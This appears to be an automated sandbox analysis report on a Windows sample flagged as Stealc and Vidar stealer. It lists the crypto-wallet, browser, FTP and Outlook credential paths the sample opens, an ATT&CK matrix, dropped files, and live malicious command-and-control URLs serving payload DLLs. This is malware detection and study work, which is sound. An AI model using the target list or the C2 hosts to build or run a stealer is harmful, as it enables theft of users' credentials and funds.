Source: Yara match	File source: 00000010.00000002.2340448283.00000000007F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3241787684.00000000007F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2669468186.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000022.00000002.3056135980.00000000025CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2382069321.00000000024A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2765136724.0000000002536000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 624f4d727e.exe PID: 8016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 624f4d727e.exe PID: 6648, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2764, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: passphrase.json
Source: file.exe	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe	String found in binary or memory: \Ethereum\
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: Ethereum
Source: file.exe	String found in binary or memory: file__0.localstorage
Source: file.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe	String found in binary or memory: ltiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.js
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: bdb44f72d9.exe, 0000001B.00000002.3241111543.0000000000372000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: bdb44f72d9.exe, 0000001B.00000002.3266173566.0000000001BE6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_XPP<R
Source: bdb44f72d9.exe, 00000017.00000002.3267274655.0000000001D82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_XPU

Source: Yara match	File source: 00000000.00000002.2382069321.00000000024E4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2764, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000022.00000002.3056135980.00000000025CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2382069321.00000000024A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2765136724.0000000002536000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 624f4d727e.exe PID: 8016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 624f4d727e.exe PID: 6648, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2764, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C790C40 sqlite3_bind_zeroblob,

0_2_6C790C40

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	22 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	23 Software Packing	NTDS	346 System Information Discovery	Distributed Component Object Model	11 Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	661 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	40%	Virustotal		Browse
file.exe	100%	Avira	HEUR/AGEN.1312596
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\userAKKKFBGDHJ.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Avira	HEUR/AGEN.1312596
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	100%	Joe Sandbox ML
C:\Users\userAKKKFBGDHJ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
prod.detectportal.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
youtube-ui.l.google.com	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
ipv4only.arpa	0%	Virustotal	Browse
prod.ads.prod.webservices.mozgcp.net	0%	Virustotal	Browse
contile.services.mozilla.com	0%	Virustotal	Browse
prod.content-signature-chains.prod.webservices.mozgcp.net	0%	Virustotal	Browse
detectportal.firefox.com	0%	Virustotal	Browse
www.youtube.com	0%	Virustotal	Browse
content-signature-2.cdn.mozilla.net	0%	Virustotal	Browse
spocs.getpocket.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://detectportal.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	0%	URL Reputation	safe
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://www.amazon.com/exec/obidos/external-search/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	100%	Avira URL Cloud	malware
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	0%	Avira URL Cloud	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://monitor.firefox.com/user/preferences	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://gpuweb.github.io/gpuweb/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	0%	URL Reputation	safe
http://185.215.113.19/15.113.19/	100%	Avira URL Cloud	phishing
https://www.wykop.pl/	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	0%	URL Reputation	safe
http://185.215.113.19/Vi9leo/index.php	100%	Avira URL Cloud	phishing
https://webextensions.settings.services.mozilla.com/v1	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	0%	URL Reputation	safe
https://www.avito.ru/	0%	URL Reputation	safe
https://spocs.getpocket.com	0%	URL Reputation	safe
https://developers.google.com/safe-browsing/v4/advisory	0%	URL Reputation	safe
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	URL Reputation	safe
http://185.215.113.19/15.113.19/	16%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.php	2%	Virustotal		Browse
http://85.28.47.31/5499d72b3a3e55be.phpvWn	100%	Avira URL Cloud	malware
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	0%	Virustotal		Browse
https://github.com/mozilla-services/screenshots	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	17%	Virustotal		Browse
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	0%	Avira URL Cloud	safe
http://185.215.113.16/Jo89Ku7d/index.phpncoded	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpncoded	9%	Virustotal		Browse
http://85.28.47.31/8405906461a5200c/softokn3.dll/	24%	Virustotal		Browse
http://85.28.47.31/8405906461a5200c/softokn3.dll	100%	Avira URL Cloud	malware
https://ok.ru/	0%	Avira URL Cloud	safe
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	0%	Virustotal		Browse
http://85.28.47.31/8405906461a5200c/softokn3.dll	17%	Virustotal		Browse
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	0%	Avira URL Cloud	safe
